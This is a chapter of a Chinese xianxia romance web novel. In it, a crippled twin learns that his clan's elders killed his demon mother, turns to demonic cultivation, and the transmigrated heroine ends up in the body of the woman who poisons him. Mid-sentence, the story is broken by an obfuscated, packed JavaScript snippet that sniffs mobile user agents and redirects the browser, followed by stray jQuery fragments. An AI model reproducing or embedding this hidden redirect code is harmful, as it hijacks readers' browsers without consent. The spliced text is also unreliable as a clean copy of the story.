38. 镜花水月(十一)

作品:《别在魔尊面前说谎

    应逢怜又回到应家,虽然侥幸存活,但也灵根损毁,再不能修行,彻底沦为了废人。与此同时,应听澜却如同新星般冉冉升起,天纵奇才之名响彻修仙界,被整个正道寄予厚望,视为未来的领袖。


    应家虽愿意养着应逢怜,但却限制他只能活动在家族后院之中,不能随意外出,成为了一道见不得人的影子。


    这日,他像往常一样,独自坐在庭院中那棵老树的粗壮枝干上。阳光透过叶片的缝隙,在他身上投下斑驳的光影。


    他抬起手,指间缠绕着一根细细的红绳,绳下坠着一块雕刻精美的蝴蝶玉佩,在日光的映照下如同羊脂般温润剔透。


    在这些无望的日子里,这块玉佩成了他唯一的精神寄托。他时常这样看着它,透过这唯一的信物,一遍又一遍地回想记忆中那个逐渐模糊的身影,努力让它在脑海中重新变得清晰起来。


    “请问,这里是什么地方?”一道清凌凌的女声毫无预兆地在寂静的庭院中响起,打断了他的沉思。


    他手腕猛地一颤,指尖红绳滑脱,玉佩也随之掉落,眼见要摔到地上,他几乎是想都没想也从树上跳下。


    却有只手比他抢先一步地捞起了玉佩,玉佩稳稳地落在了她的掌心。


    他倏然抬眸,对上了一张全然陌生的少女面庞。


    “还我。”他朝她伸出手,冷冷道。


    少女却并未立即归还,反而将玉佩拿在手中端详了片刻,语气带着几分疑惑:“奇怪……这不是我的玉佩吗?你在哪捡到的?”


    他一怔,难以置信地看向她,声音艰涩:“你的?怎么证明?”


    少女不慌不忙,将玉佩翻到了背面,指着上面特殊的图案解释道:“这个玉佩图样是我们蓬莱特有的蝶纹,纹路里融合了我名字中的‘灵’字。你不信的话,可以仔细看看,是否如此?”


    应逢怜从她的手中接过玉佩,凑到眼前细细察看,果然在繁复的蝶纹当中看到了那个隐藏的“灵”字。


    他努力压下狂跳的心脏,强迫自己保持冷静,声音却仍旧带着按捺不住的激动:“你……你当年,是否是在岷阳一带遗失的它?”


    “是呀!”少女眼眸微亮,点了点头,“我的确是在途径岷阳时不慎丢失的它。看来这果真是我的旧物了。”


    这一刻,像是一直笼罩在眼前的薄雾骤然散开,少女的容颜在他眼中顿时变得无比清晰。她一袭白纱长裙,裙摆在微风中轻轻飘动,眉目如远山含黛,气韵清丽出尘,一如他记忆中的那个人。


    “那你可还记得……”他的喉头突然有些发紧,声音带着自己都未察觉的沙哑。他垂眸,甚至不敢再直视她的眼睛,一种近乎“近乡情怯”的怯懦攫住了他,“当年在岷阳救过一个孩子?”


    少女的脸上却显露出茫然之色,略带歉意地摇了摇头:“不好意思,我那时在岷阳赈灾,救助了很多人,之后又受了点伤,导致许多事情都记不真切了。我们……之前有见过吗?”


    他手指蜷缩了一下,心底刚刚升起的火苗猛地被冷水浇熄。


    他也只不过是她帮助过的人中微不足道的那个,根本不足以让她挂怀。


    沉默片刻后,他终是低声说道,声音轻到随时会消散在风中:“算了……就当重新认识吧。”


    他将玉佩重新放回了她的手中,旋即抬眼,向来冷冰冰的面庞生涩地牵动着嘴角,露出一个温和的笑容,如冰雪初融:“在下应逢怜,敢问姑娘芳名?”


    少女接过玉佩,嫣然一笑。那笑容如同在黑白水墨画上陡然点缀了一抹清丽的春色,瞬间鲜活明亮起来,夺目得让人无法移开视线。


    “你好,我叫岑毓灵。”


    ————


    自那日后,岑毓灵偶尔会到他这方偏僻的院落里来,有时是带些精致的点心吃食,有时是些外界新奇的小玩意儿,更多的时候,是与他分享一些外面的趣闻轶事。


    他开始在枯燥的日子中生出期盼,期盼那抹白色的身影何时会再次出现在庭院门口。


    他习惯了这样的日子,习惯了当一道深埋暗处、见不得人的影子,他本可以忍受,本可以……


    直到——


    “毓灵,你近来总爱往逢怜院子里跑。”院落之外,传来了应听澜温润的声音。


    他垂眸看着身边的岑毓灵,手指亲昵地缠绕着她一缕乌黑的发丝,语气里带着恰到好处的吃味:“再这般下去,连我都要心生嫉妒了。”


    岑毓灵轻轻拍开他作乱的手,嗔怪道:“他是你弟弟,我理应代为照拂一二。哪有你这样当兄长的,还乱吃弟弟的飞醋?”


    应听澜从善如流地认错道:“是是是,是我心胸狭隘了。还是未来的‘大嫂’体贴,肯替我这般费心照料弟弟。”


    岑毓灵的脸颊霎时间飞上红霞,握拳不轻不重地捶了两下他的胸膛,羞恼道:“谁要嫁给你,不要脸!”


    “好了,莫恼了。”应听澜笑着握住她的手腕,“今日难得闲暇,陪我去练剑可好?这些东西,让下人给逢怜送进去便是。”


    岑毓灵犹豫地看了看手中提着的食盒,又看了看应听澜含笑期待的目光,最终还是将东西交给了候在一旁的侍从,任由应听澜牵着手,两人说笑着并肩离去。


    高高的房檐之上,应逢怜静静坐着,将庭院外那对少男少女之间旁若无人的亲昵低语、眼波间的情愫流转,尽数收入眼底。


    他不知道自己在冰冷的屋瓦上枯坐了多久,直到天空转为暮色,晚风将他周身吹得冰凉僵硬,他才缓缓松开一直紧握成拳的手,掌心中已然鲜血淋漓。


    为什么你也要选他?


    为什么连你也要抛弃我?


    本来是我们先认识的,是我先遇见你的!不是你说,你会坚定选择我,你会爱我的吗?既然会食言,当初何必要承诺?


    我和他,分明拥有一模一样的容颜,为何你的目光,却永远只停留在他身上?是因为他是天纵奇才,是未来板上钉钉的应家家主,是前途无量的正道魁首吗?


    一股从未有过的、炽烈的恨意与不甘,如同毒焰般灼烧着他的理智和五脏六腑。他第一次如此痛恨自己这具无法修行、如同废物般的身躯。


    几乎是自虐般,他疯狂地引气入体,明明知道那些灵气对他而言是刮骨钢刀,他却仍旧不死心地一遍又一遍地重复着这钻心剜骨的痛苦过程。


    逸散的灵气在肺腑间横冲直撞,逼得他呕出了大股的鲜血。他低下头,眼中布满血丝,木然地看着自己满掌的猩红,绝望地大笑起来。


    他像是失了魂,赤着双足,披散着墨黑的长发,如同游荡的孤魂野鬼,在夜色笼罩的后院里漫无目的地踉跄行走。


    “艹,应逢怜你是鬼吗?不好好呆在你那个破院子里跑出来做什么怪!”几个路过的族中子弟被他这副模样吓了一跳,随即嫌恶地呵斥道。


    应逢怜恍若未闻,只是失魂落魄地站在原地,眼神空洞。


    族中子弟们看到他那张与应听澜神似的脸,一时恶上心头,将所有风头被应听澜抢尽的怨念和火气一股脑地发泄在他的身上。


    其中一人朝他身上啐了一口,语气刻薄:“你不是应听澜的双生兄弟嘛,怎么一个天一个地的?他如今名利双收,连蓬莱的仙子都对他青眼有加,你呢?活得连条流浪狗都不如!”


    “哼!照我说,应听澜不过也就是个惯会装腔作势的狗罢了。”另一个蓝衣子弟语气轻蔑地接话,“你看他对仲飞长老那尊敬样,不活脱脱一个哈巴狗!”


    “就是,仲飞那帮人当着他面,将他魔族娘杀了,他都能忍下这个仇,给他们当义子,狗都没那么能忍的。”


    他们说完,相视哈哈大笑,极尽贬低应听澜让他们获得了心理上的极大满足。


    一直沉默着的应逢怜猛地抬头,如同被激怒的困兽般,冲上前一把揪住了蓝衣子弟的衣领,声


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16754682|183016||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    音因过于愤怒而颤抖着:“你们说什么?!我娘不是被魔族追兵杀害的吗!”


    那蓝衣子弟被他突如其来的爆发惊得一怔,随即用力一挥手臂,轻而易举地将毫无修为的应逢怜甩开,诧异道:“你竟然不知道?当年是家族几位长老,为了肃清门风,亲自出手处决了你那魔族娘的。”


    应逢怜如遭雷击般僵硬在原地,瞳孔剧震,反复喃喃道:“不可能、不可能,应听澜怎么会……”


    “啧,你告诉他做什么?免得他闹事,搞得大家鸡犬不宁。”


    “怕什么?应听澜都选择既往不咎了,他一个不能修行的废物又能翻出什么浪花?”


    “也是。走了走了,跟个废物浪费什么口舌。”


    几人鄙夷地扫了他一眼,嬉笑着扬长而去。


    他们走后不久,又一场盛夏的雷雨猝不及防地落下,初时还是豆点大小,很快便转为了瓢泼大雨,将僵住在原地的应逢怜浇了一个透彻。电闪雷鸣下,他的面容晦暗不明,冰凉的雨水顺着他的发丝、脸颊流淌,浸湿了他全身的衣袍,却浇不灭他心中的滔天怒火。


    他居然与杀母仇人在同一个屋檐下生活了这么多年!


    应听澜,你明明知道真相,还认贼作父,道貌岸然地活在这世间。


    你有什么资格当母亲的儿子,凭什么配站在岑毓灵的身边?


    杀掉……通通杀掉!他要杀掉这群令人作呕、虚伪至极的正道走狗!疯狂的杀意在他脑海里翻腾着。


    应逢怜抬起手,看着掌心仍未完全褪去的血痕,冷然一笑。


    既然无法修仙了,那便成魔吧。


    他定要让所有人血债血偿。


    ———


    颜悬昭看着应逢怜一步步走向了修魔之路,他在修仙之路上无法寸进,却在诡谲狠戾的魔功修行上展现出惊人的天赋,进展可谓是一日千里。


    他一边潜伏在男女主身边阻挠他们统一正道各方势力的计划,一边暗地里与魔界取得联系,凭借他身上一半的魔界王族血统,他很快获得了一批簇拥者,在魔界逐渐形成了自己的势力。


    随着他登顶魔尊之位,男女主也逐渐开始怀疑到他的身上。在应听澜的授意下,岑毓灵在应逢怜生辰那日,将他约了出来,为他送上了一碗自己做的长寿面。


    颜悬昭看过这段剧情,深知这是一场鸿门宴,那碗面是甜美的毒药,里面所放之物能让修仙者灵力大涨,却对魔修而言是穿肠毒药。


    见应逢怜没有动筷的意思,岑毓灵亲自拿起另一双干净的筷子,夹了一根面条送入自己的口中,抬眸真挚地看着他:“这是我亲手做的,没有问题的。逢怜,你不信我吗?”


    应逢怜抬眸定定地凝视着她,半晌道:“毓灵,我可以信你吗?”


    岑毓灵像是被他的目光烫到了一般,眼神闪烁了一下,避开了他的注视,语气轻柔道:“那是自然。”


    他突兀地低笑了一声,笑声中莫名地带着点苦涩的意味,随即应声道:“好,我信你。”


    说罢,他便要拿起摆放在碗边的那副筷子——


    “不要吃!”颜悬昭看得心急如焚,忍不住大喊出声,“是陷阱,你吃了就正中他们下怀了!他们早已布下天罗地网,就等着你毒发后围剿你!之后你会被他们重伤,一路追杀,亡命天涯啊!”


    “应逢怜!你平时不是最谨慎多疑的吗?怎么这次就傻乎乎地信了她的话!”


    然而,无论颜悬昭如何呐喊,幻境中的应逢怜都毫无反应。她焦急地想要冲上前阻止,身体却不受控制地猛地向前一倾——


    下一秒,天旋地转的感觉袭来。


    待她稳住心神,愕然发现,自己竟然坐在了应逢怜的正对面。她下意识抬起双手,映入眼帘的是一双不属于她的纤纤玉手,身上穿着蓬莱特有样式的白色仙气纱裙。


    怎么回事?!


    她怎么……变成了岑毓灵?!